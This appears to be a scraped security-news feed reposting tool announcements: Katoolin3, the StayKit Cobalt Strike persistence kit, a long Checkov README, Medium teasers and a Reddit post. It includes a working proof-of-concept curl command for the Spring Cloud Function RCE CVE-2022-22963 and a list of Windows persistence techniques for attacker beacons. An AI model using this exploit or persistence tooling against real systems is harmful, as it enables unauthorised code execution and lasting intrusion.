Kali Linux Tutorials
Katoolin3 : Get Your Favourite Kali Linux Tools On Debian/Ubuntu/Linux Mint

Katoolin3 brings all programs available in Kali Linux to Debian and Ubuntu.

This program is a port of katoolin from LionSec to python3. Katoolin3 offers several improvements over katoolin:

* Up to date packages
The old katoolin uses an outdated package list. Katoolin3 always keeps its package list up to date.
(Last updated: 18 Feb 2020)
* Improved handling of missing packages
The old katoolin breaks if a package isn’t available in the repositories anymore. Katoolin3 detects those and simply ignores them.
* Removal of packages
You can now remove all packages installed by katoolin3 (individually or all at once).
* Upgrading wont break your system anymore
…because the Kali repositories only get enabled during the runtime of katoolin3.
* Better utilization of the APT ecosystem
The old katoolin does potentially dangerous operations such as modifying and deleting important system configuration files. This has been changed.
* Easier maintenance of Kalis packages
The old katoolin makes it difficult to add new packages to the package list due to the way katoolin was programmed. Maintaining the package list is now a lot easier.
* Cleaner code
Due to poor code quality katoolin was unmaintainable and had to be rewritten from scratch. katoolin3 aims to be more readable and easier to maintain. Warning for Ubuntu usersInstalling programs from repositories for different operating systems is generally considered dangerous!
Some packages might (and probably will) break your system. Be careful when installing the tools and don’t blame katoolin3 for any inconveniences.
The optimal solution is to install specific tools from tools.kali.org.
It is not recommended to install all tools. Requirements* apt as a package manager
* Python >= 3.5
* Root privileges
* sh, bash
* python3-apt Installationgit clone https://github.com/s-h-3-l-l/katoolin3;
cd katoolin3;
chmod +x ./install.sh;
sudo ./install.sh;

Important: If you get the error Please install the python3-apt packageplease make sure katoolin3 runs with exactly the same python3 version as the python3-aptpackage. On modern distributions python3-aptis only for python3.7 and on older distributions python3-aptis only for python3.5. Katoolin3 has to be run accordingly with python3.7 or python3.5. UsageThe program flow of katoolin3 is realized by presenting a list of options that you can choose from. These lists look like that:

0) …
1) …
2) … Installing toolsTo install a package enter the corresponding number. To install multiple packages at once specify a range like 3-5, a list like 1,2,3or combine them like 1,2,5-7,9. You can also install all packages at once. Uninstalling toolsThis works just like installing except that you have to prepend a ~before your selection. You can also uninstall all packages at once. SearchingKatoolin3 supports searching the package cache.
E.g. if you want to install some tools related to SQL injections you can go into the search menu and search for sql injection.
If you want to have specific information about a package just enter the package name in the same search menu.

For more functionalities see the help dialogue inside the program. UpdatingTo update your tool list execute

chmod +x ./update.sh;
sudo ./update.sh; UninstallingTo uninstall katoolin3 execute

chmod +x ./uninstall.sh;
sudo ./uninstall.sh;

Uninstalling the Kali tools can be done inside katoolin3. Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
StayKit : Cobalt Strike Kit For Persistence

StayKit is an extension for Cobalt Strike persistence by leveraging the execute_assembly function with the Sharp Stay .NET assembly. The aggressor script handles payload creation by reading the template files for a specific execution type.

IMPORTANT: To use the script a user will only need to load the StayKit.cnaaggressor script. Additionally, the SharpStay assembly will need to be compiled and placed into the directory where StayKit.cnais located. Finally, if selecting a template for the payload some may require dynamic compiling which will uses Mono.

The persistence menu will be added to the beacon. Due to the nature of how each technique is different there is only a GUI menu and no beacon commands.

Available options:

* ElevatedRegistryKey
* UserRegistryKey
* UserInitMprLogonScriptKey
* ElevatedUserInitKey
* ScheduledTask
* ListScheduledTasks
* ScheduledTaskAction
* SchTaskCOMHijack
* CreateService
* ListRunningServices
* WMIEventSub
* GetScheduledTaskCOMHandler
* JunctionFolder
* StartupDirectory
* NewLNK
* BackdoorLNK
* ListTaskNames

Dependencies

* Mono (MCS) for compiling .NET assemblies (Used with dynamic payload creation)
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Checkov : Prevent Cloud Misconfigurations During Build-Time For Terraform

Checkov is a static code analysis tool for infrastructure-as-code.

It scans cloud infrastructure provisioned using Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep or ARM Templates and detects security and compliance misconfigurations using graph-based scanning.

Checkov also powers Bridgecrew, the developer-first platform that codifies and streamlines cloud security throughout the development lifecycle. Bridgecrew identifies, fixes, and prevents misconfigurations in cloud resources and infrastructure-as-code files. Features* Over 1000 built-in policies cover security and compliance best practices for AWS, Azure and Google Cloud.
* Scans Terraform, Terraform Plan, CloudFormation, AWS SAM, Kubernetes, Dockerfile, Serverless framework, Bicep and ARM template files.
* Supports Context-awareness policies based on in-memory graph-based scanning.
* Supports Python format for attribute policies and YAML format for both attribute and composite policies.
* Detects AWS credentials in EC2 Userdata, Lambda environment variables and Terraform providers.
* Identifies secrets using regular expressions, keywords, and entropy based detection.
* Evaluates Terraform Provider settings to regulate the creation, management, and updates of IaaS, PaaS or SaaS managed through Terraform.
* Policies support evaluation of variables to their optional default value.
* Supports in-line suppression of accepted risks or false-positives to reduce recurring scan failures. Also supports global skip from using CLI.
* Output currently available as CLI, CycloneDX, JSON, JUnit XML, SARIF and github markdown and link to remediation guides. ScreenshotsScan results in CLI

Scheduled scan result in Jenkins Getting startedRequirements* Python >= 3.7 (Data classes are available for Python 3.7+)
* Terraform >= 0.12 Installationpip3 install checkov

Installation on Alpine:

pip3 install –upgrade pip && pip3 install –upgrade setuptools
pip3 install checkov

Installation on Ubuntu 18.04 LTS:

Ubuntu 18.04 ships with Python 3.6. Install python 3.7 (from ppa repository)

sudo apt update
sudo apt install software-properties-common
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt install python3.7
sudo apt install python3-pip
sudo python3.7 -m pip install -U checkov #to install or upgrade checkov)

or using homebrew (MacOS only)

brew install checkov

or

brew upgrade checkov

Enabling bash autocomplete

source <(register-python-argcomplete Upgradeif you installed checkov with pip3

pip3 install -U checkov

pip3 install -U checkov

Configure an input folder or file

checkov –directory /user/path/to/iac/code

Or a specific file or files

checkov –file /user/tf/example.tf

Or

checkov -f /user/cloudformation/example1.yml -f /user/cloudformation/example2.yml

Or a terraform plan file in json format

terraform init
terraform plan -out tf.plan
terraform show -json tf.plan > tf.json
checkov -f tf.json

Note: terraform showoutput file tf.jsonwill be a single line. For that reason all findings will be reported line number 0 by checkov

check: CKV_AWS_21: “Ensure all data stored in the S3 bucket have versioning enabled”
FAILED for resource: aws_s3_bucket.customer
File: /tf/tf.json:0-0
Guide: https://docs.bridgecrew.io/docs/s3_16-enable-versioning

If you have installed jqyou can convert json file into multiple lines with the following command:

terraform show -json tf.plan | jq ‘.’ > tf.json

Scan result would be much user friendly.

checkov -f tf.json
Check: CKV_AWS_21: “Ensure all data stored in the S3 bucket have versioning enabled”
FAILED for resource: aws_s3_bucket.customer
File: /tf/tf1.json:224-268
Guide: https://docs.bridgecrew.io/doc[...]

___________________________
@hacking_Attack
@Hacking_Video

s/s3_16-enable-versioning
225 “values”: {
226 “acceleration_status”: “”,
227 “acl”: “private”,
228 | “arn”: “arn:aws:s3:::mybucket”,

Alternatively, specify the repo root of the hcl files used to generate the plan file, using the --repo-root-for-plan-enrichmentflag, to enrich the output with the appropriate file path, line numbers, and codeblock of the resource(s). An added benefit is that check suppressions will be handled accordingly.

checkov -f tf.json –repo-root-for-plan-enrichment /user/path/to/iac/code

Scan result sample (CLI)

Passed Checks: 1, Failed Checks: 1, Suppressed Checks: 0
Check: “Ensure all data stored in the S3 bucket is securely encrypted at rest”
/main.tf:
Passed for resource: aws_s3_bucket.template_bucket
Check: “Ensure all data stored in the S3 bucket is securely encrypted at rest”
/../regionStack/main.tf:
Failed for resource: aws_s3_bucket.sls_deployment_bucket_name

Using Docker

docker pull bridgecrew/checkov
docker run –tty –rm –volume /user/tf:/tf –workdir /tf bridgecrew/checkov –directory /tf

Note: if you are using Python 3.6(Default version in Ubuntu 18.04) checkov will not work and it will fail with ModuleNotFoundError: No module named 'dataclasses'error message. In this case, you can use the docker version instead.

Note that there are certain cases where redirecting docker run --ttyoutput to a file – for example, if you want to save the Checkov JUnit output to a file – will cause extra control characters to be printed. This can break file parsing. If you encounter this, remove the --ttyflag.

The --workdir /tfflag is optional to change the working directory to the mounted volume. If you are using the SARIF output -o sarifthis will output the results. sarif file to the mounted volume (/user/tf in the example above). If you do not include that flag, the working directory will be “/”. Running or skipping checksUsing command line flags you can specify to run only named checks (allow list) or run all checks except those listed (deny list). If you are using the platform integration via API key, you can also specify a severity threshold to skip and / or include. See the docs for more detailed information on how these flags work together. ExamplesAllow only the two specified checks to run:

checkov –directory . –check CKV_AWS_20,CKV_AWS_57

Run all checks except the one specified:

checkov -d . –skip-check CKV_AWS_20

Run all checks except checks with specified patterns:

checkov -d . –skip-check CKV_AWS*

Run all checks that are MEDIUM severity or higher (requires API key):

checkov -d . –check MEDIUM –bc-api-key …

Run all checks that are MEDIUM severity or higher, as well as check CKV_123 (assume this is a LOW severity check):

checkov -d . –check MEDIUM,CKV_123 –bc-api-key …

Skip all checks that are MEDIUM severity or lower:

checkov -d . –skip-check MEDIUM –bc-api-key …

Skip all checks that are MEDIUM severity or lower, as well as check CKV_789 (assume this is a high severity check):

checkov -d . –skip-check MEDIUM,CKV_789 –bc-api-key …

Run all checks that are MEDIUM severity or higher, but skip check CKV_123 (assume this is a medium or higher severity check):

checkov -d . –check MEDIUM –skip-check CKV_123 –bc-api-key … Suppressing/Ignoring a checkLike any static-analysis tool it is limited by its analysis scope. For example, if a resource is managed manually, or using subsequent configuration management tooling, suppression can be inserted as a simple code annotation. Suppression comment formatTo skip a check on a given Terraform definition block or CloudFormation resource, apply the following comment pattern inside it’s scope: checkov:skip=* is one of the [available check scanners](docs/5.Policy Index/all.md)
* is an optional suppression reason to be in[...]

___________________________
@hacking_Attack
@Hacking_Video

cluded in the output ExampleThe following comment skips the CKV_AWS_20check on the resource identified by foo-bucket, where the scan checks if an AWS S3 bucket is private. In the example, the bucket is configured with public read access; Adding the suppress comment would skip the appropriate check instead of the check to fail.

resource “aws_s3_bucket” “foo-bucket” {
region = var.region
#checkov:skip=CKV_AWS_20:The bucket is a public static content host
bucket = local.bucket_name
force_destroy = true
acl = “public-read”
}

The output would now contain a SKIPPEDcheck result entry:

…
…
Check: “S3 Bucket has an ACL defined which allows public access.”
SKIPPED for resource: aws_s3_bucket.foo-bucket
Suppress comment: The bucket is a public static content host
File: /example_skip_acl.tf:1-25

To suppress checks in Kubernetes manifests, annotations are used with the following format: checkov.io/skip#: For example:

apiVersion: v1
kind: Pod
metadata:
name: mypod
annotations:
checkov.io/skip1: CKV_K8S_20=I don’t care about Privilege Escalation :-O
checkov.io/skip2: CKV_K8S_14
checkov.io/skip3: CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS
spec:
containers:
… LoggingFor detailed logging to stdout set up the environment variable LOG_LEVELto DEBUG.

Default is LOG_LEVEL=WARNING. Skipping directoriesTo skip files or directories, use the argument --skip-path, which can be specified multiple times. This argument accepts regular expressions for paths relative to the current working directory. You can use it to skip entire directories and / or specific files.

By default, all directories named node_modules, .terraform, and .serverlesswill be skipped, in addition to any files or directories beginning with .. To cancel skipping directories beginning with .override IGNORE_HIDDEN_DIRECTORY_ENVenvironment variable export IGNORE_HIDDEN_DIRECTORY_ENV=falseYou can override the default set of directories to skip by setting the environment variable CKV_IGNORED_DIRECTORIES. Note that if you want to preserve this list and add to it, you must include these values. For example, CKV_IGNORED_DIRECTORIES=mynewdirwill skip only that directory, but not the others mentioned above. This variable is legacy functionality; we recommend using the --skip-fileflag. VSCODE ExtensionIf you want to use checkov’s within vscode, give a try to the vscode extension available at vscode Configuration using a config fileCheckov can be configured using a YAML configuration file. By default, checkov looks for a .checkov.yamlor .checkov.ymlfile in the following places in order of precedence:

* Directory against which checkov is run. (--directory)
* Current working directory where checkov is called.
* User’s home directory.

Attention: it is a best practice for checkov configuration file to be loaded from a trusted source composed by a verified identity, so that scanned files, check ids and loaded custom checks are as desired.

Users can also pass in the path to a config file via the command line. In this case, the other config files will be ignored. For example:

checkov –config-file path/to/config.yaml

Users can also create a config file using the --create-configcommand, which takes the current command line args and writes them out to a given path. For example:

checkov –compact –directory test-dir –docker-image sample-image –dockerfile-path Dockerfile –download-external-modules True –external-checks-dir sample-dir –no-guide –quiet –repo-id bridgecrew/sample-repo –skip-check CKV_DOCKER_3,CKV_DOCKER_2 –skip-fixes –skip-framework dockerfile secrets –skip-suppressions –soft-fail –branch develop –check CKV_DOCKER_1 –c[...]

___________________________
@hacking_Attack
@Hacking_Video

reate-config /Users/sample/config.yml

Will create a config.yamlfile which looks like this:

branch: develop
check:

* CKV_DOCKER_1
compact: true
directory:
* test-dir
docker-image: sample-image
dockerfile-path: Dockerfile
download-external-modules: true
evaluate-variables: true
external-checks-dir:
* sample-dir
external-modules-download-path: .external_modules
framework:
* all
no-guide: true
output: cli
quiet: true
repo-id: bridgecrew/sample-repo
skip-check:
* CKV_DOCKER_3
* CKV_DOCKER_2
skip-fixes: true
skip-framework:
* dockerfile
* secrets
skip-suppressions: true
soft-fail: true

Users can also use the --show-configflag to view all the args and settings and where they came from i.e. commandline, config file, environment variable or default. For example:

checkov –show-config

Will display:

Command Line Args: –show-config
Environment Variables:
BC_API_KEY: your-api-key
Config File (/Users/sample/.checkov.yml):
soft-fail: False
branch: master
skip-check: [‘CKV_DOCKER_3’, ‘CKV_DOCKER_2’]
Defaults:
–output: cli
–framework: [‘all’]
–download-external-modules:False
–external-modules-download-path:.external_modules
–evaluate-variables:True Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Protection Against Data Tampering

https://cdn-images-1.medium.com/max/2600/1*3KOlRaYoX8wAJEXyAx4vMg.jpeg
For a long time, data tampering was limited to simple attacks such as data corruption which is immediately noticed, or “cooking the books”…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cyberattack: How To Protect Your Finances Online.

https://cdn-images-1.medium.com/max/852/1*-H_QYAnjJcSFO_4DB_b2aA.jpeg
The cyberattack, it’s a term that no longer needs explanation.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
CVE-2022-22963 - PoC Spring Java Framework 0-day Remote Code Execution Vulnerability

https://blogger.googleusercontent.com/img/a/AVvXsEilWkK-FPAHhY2QeYOmsLsM-kP1C10az0AOqwJ_niOh9uN1mEZeepHZOtVxi-grt1ZtdY24_cFBoJNPX-0MksoeZtPnEknxVg_GyBumJdWB4TIadM3PpxhyFOT-oToifQDbxJBD3B2F5nR7kxEt6gKYVDAEiLqImwp-DUxjzKgdwb5mrgsKRqU3HDJK=w640-h270
To run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example:

docker run -it -d -p 8080:8080 bobcheat/springboot-public


Exploit

Curl command:

curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'


Or using Burp suite:

https://blogger.googleusercontent.com/img/a/AVvXsEilWkK-FPAHhY2QeYOmsLsM-kP1C10az0AOqwJ_niOh9uN1mEZeepHZOtVxi-grt1ZtdY24_cFBoJNPX-0MksoeZtPnEknxVg_GyBumJdWB4TIadM3PpxhyFOT-oToifQDbxJBD3B2F5nR7kxEt6gKYVDAEiLqImwp-DUxjzKgdwb5mrgsKRqU3HDJK=w640-h270

Credits

https://github.com/hktalent/spring-spel-0day-poc
Download CVE-2022-22963

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Am I compromised ?

I was playing counter strike 1.6 and half life online (not through the official version) and I think I joined what might be russian servers which had custom mods and maps. And now I'm scared that what if installing them got me a spyware or something like that. (I hate how I didn't think of this before or Maybe did).

Am i comprised ?

submitted by /u/afraidanddepressed
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to Keep a Website Secure?

It is always better to be proactive and prevent website security disasters rather than fighting after the disaster itself. It is also cheaper to activate security measurement than pay for the recovery of an infected website. We can do the following things to keep our website secure.

* Installing SSL Certificate and Using HTTPS Protocol
* Keep Software and Plugins Up-To-Date
* Choose Web Hosting Wisely
* Having Strong Login Credentials or Password
* Keep Your Personal Devices Secure
* Add Tools for Scan and Monitor Website
* Sucuri SiteCheck
* Quttera
* Siteguarding etc

* Check User Access and Permissions
* Website Backup
* Do not keep default CMS Settings Configuration
* Precautions for File Uploads
* Keep Website Clean - Delete unused files
* Web Server Security - Limit access to root files
* Use Website Firewall
* Best Practices Personal Security

​

​

​

​

​

submitted by /u/shuvonaz
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hats Protocol Economics — Part I

Long-term sustainability and token utilityContinue reading on Medium »
Read more...

Hats Protocol Economics — Part I
https://hatsfinance.medium.com/hats-protocol-economics-part-i-46c0220af53?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Long-term sustainability and token utilityContinue reading on Medium » (https://hatsfinance.medium.com/hats-protocol-economics-part-i-46c0220af53?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Nation-State Hackers Ramp Up Ukraine War-Themed Attacks

Among them is the operator of the Ghostwriter misinformation campaign, with a new browser-in-browser phishing technique, according to Google's research team.